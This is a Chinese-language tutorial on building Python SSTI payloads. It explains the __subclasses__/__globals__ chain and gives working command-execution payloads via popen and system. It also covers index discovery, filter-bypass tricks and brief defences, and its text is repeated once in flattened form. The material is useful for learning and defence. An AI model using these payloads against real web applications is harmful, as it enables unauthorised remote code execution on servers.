pythonweb SSTI的payload构造思路研究
字数 1343 2025-08-12 11:34:03

Python Web SSTI Payload构造思路研究

1. SSTI基础原理

SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当攻击者能够将恶意模板代码注入到服务器端模板引擎中时,可能导致远程代码执行(RCE)。

在Python Web框架中,如Flask、Django等,当开发者直接将用户输入作为模板渲染时,就可能存在SSTI漏洞。

2. 核心Payload构造思路

2.1 基本链条

大多数Python SSTI payload都基于以下链条构造:

''.__class__.__base__.__subclasses__()

2.2 各组成部分详解

  1. '' - 一个字符串对象,type('')的结果是<class 'str'>
  2. __class__ - 获取对象所属的类
    • ''.__class__的结果仍然是<class 'str'>
    • 区别在于前者是类,后者是对象
  3. __base__ - 获取指定类的基类(父类)
    • ''.__class__.__base__的结果是<class 'object'>
    • 在Python3中,所有类都默认继承Object类
  4. __subclasses__() - Object类的静态方法
    • 获取指定类的所有子类,返回一个列表
    • 因为是个方法,所以必须有括号
    • 返回当前模块所有继承Object类的子类

2.3 典型Payload分析

"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

这个payload的执行流程:

  1. 从空字符串开始
  2. 获取其类(str)
  3. 获取基类(object)
  4. 获取所有子类列表
  5. 选择第128个子类(通常是os._wrap_close)
  6. 获取其__init__方法
  7. 通过__globals__获取模块全局变量
  8. 访问popen函数并执行系统命令
  9. 读取命令输出

3. 关键概念详解

3.1 __globals__属性

  • Python中每个函数都拥有__globals__属性
  • 存储当前模块全局可读的变量,以字典形式
  • 必须由函数方法调用
  • 示例:
    "".__class__.__base__.__subclasses__()[128].__init__.__globals__
    
    会返回os模块的全局变量字典

3.2 子类索引问题

  • __subclasses__()返回的列表顺序可能因环境而异
  • 索引128对应os._wrap_close类,但可能变化
  • 需要根据实际环境调整索引值
  • 可以通过遍历查找特定类:
    for i, cls in enumerate(''.__class__.__base__.__subclasses__()):
        if 'os' in str(cls):
            print(i, cls)
    

4. Payload构造步骤分解

a = ""  # 空字符串对象
b = "".__class__  # <class 'str'>
c = "".__class__.__base__  # <class 'object'>
d = "".__class__.__base__.__subclasses__()  # 所有子类列表
e = "".__class__.__base__.__subclasses__()[128]  # 通常是<class 'os._wrap_close'>
f = "".__class__.__base__.__subclasses__()[128].__init__  # 初始化方法
g = "".__class__.__base__.__subclasses__()[128].__init__.__globals__  # 全局变量
h = "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami')  # 执行命令
i = h.read()  # 读取命令输出

5. 替代利用方式

除了popen,还可以利用__globals__中的其他函数:

  1. system()函数:

    "".__class__.__base__.__subclasses__()[128].__init__.__globals__['system']('whoami')
    
  2. 其他os模块函数:

    "".__class__.__base__.__subclasses__()[128].__init__.__globals__['listdir']('.')
    

6. 环境影响因素

  1. 导入的库会影响子类列表:

    • 不导包或只导内置模块时,子类数量较少
    • 导入外部包时,继承Object类的子类变多
  2. 环境重启可能影响子类顺序:

    • 可能导致索引值变化
    • 需要重新确定目标类的位置

7. 防御措施

  1. 避免直接渲染用户输入
  2. 对模板变量进行严格的过滤和转义
  3. 使用沙箱环境限制模板执行能力
  4. 禁用危险的模板功能

8. 扩展思路

  1. 查找其他可利用的类而不仅限于os._wrap_close
  2. 利用__builtins__访问内置函数
  3. 通过__getattribute__绕过过滤
  4. 使用字符串拼接绕过关键字过滤

通过深入理解这些原理,可以灵活构造各种SSTI payload,也能更好地防御此类攻击。

Python Web SSTI Payload构造思路研究 1. SSTI基础原理 SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当攻击者能够将恶意模板代码注入到服务器端模板引擎中时,可能导致远程代码执行(RCE)。 在Python Web框架中,如Flask、Django等,当开发者直接将用户输入作为模板渲染时,就可能存在SSTI漏洞。 2. 核心Payload构造思路 2.1 基本链条 大多数Python SSTI payload都基于以下链条构造: 2.2 各组成部分详解 '' - 一个字符串对象, type('') 的结果是 <class 'str'> __class__ - 获取对象所属的类 ''.__class__ 的结果仍然是 <class 'str'> 区别在于前者是类,后者是对象 __base__ - 获取指定类的基类(父类) ''.__class__.__base__ 的结果是 <class 'object'> 在Python3中,所有类都默认继承Object类 __subclasses__() - Object类的静态方法 获取指定类的所有子类,返回一个列表 因为是个方法,所以必须有括号 返回当前模块所有继承Object类的子类 2.3 典型Payload分析 这个payload的执行流程: 从空字符串开始 获取其类( str ) 获取基类( object ) 获取所有子类列表 选择第128个子类(通常是 os._wrap_close ) 获取其 __init__ 方法 通过 __globals__ 获取模块全局变量 访问 popen 函数并执行系统命令 读取命令输出 3. 关键概念详解 3.1 __globals__ 属性 Python中每个函数都拥有 __globals__ 属性 存储当前模块全局可读的变量,以字典形式 必须由函数方法调用 示例: 会返回os模块的全局变量字典 3.2 子类索引问题 __subclasses__() 返回的列表顺序可能因环境而异 索引128对应 os._wrap_close 类,但可能变化 需要根据实际环境调整索引值 可以通过遍历查找特定类: 4. Payload构造步骤分解 5. 替代利用方式 除了 popen ,还可以利用 __globals__ 中的其他函数: system() 函数: 其他os模块函数: 6. 环境影响因素 导入的库会影响子类列表: 不导包或只导内置模块时,子类数量较少 导入外部包时,继承Object类的子类变多 环境重启可能影响子类顺序: 可能导致索引值变化 需要重新确定目标类的位置 7. 防御措施 避免直接渲染用户输入 对模板变量进行严格的过滤和转义 使用沙箱环境限制模板执行能力 禁用危险的模板功能 8. 扩展思路 查找其他可利用的类而不仅限于 os._wrap_close 利用 __builtins__ 访问内置函数 通过 __getattribute__ 绕过过滤 使用字符串拼接绕过关键字过滤 通过深入理解这些原理,可以灵活构造各种SSTI payload,也能更好地防御此类攻击。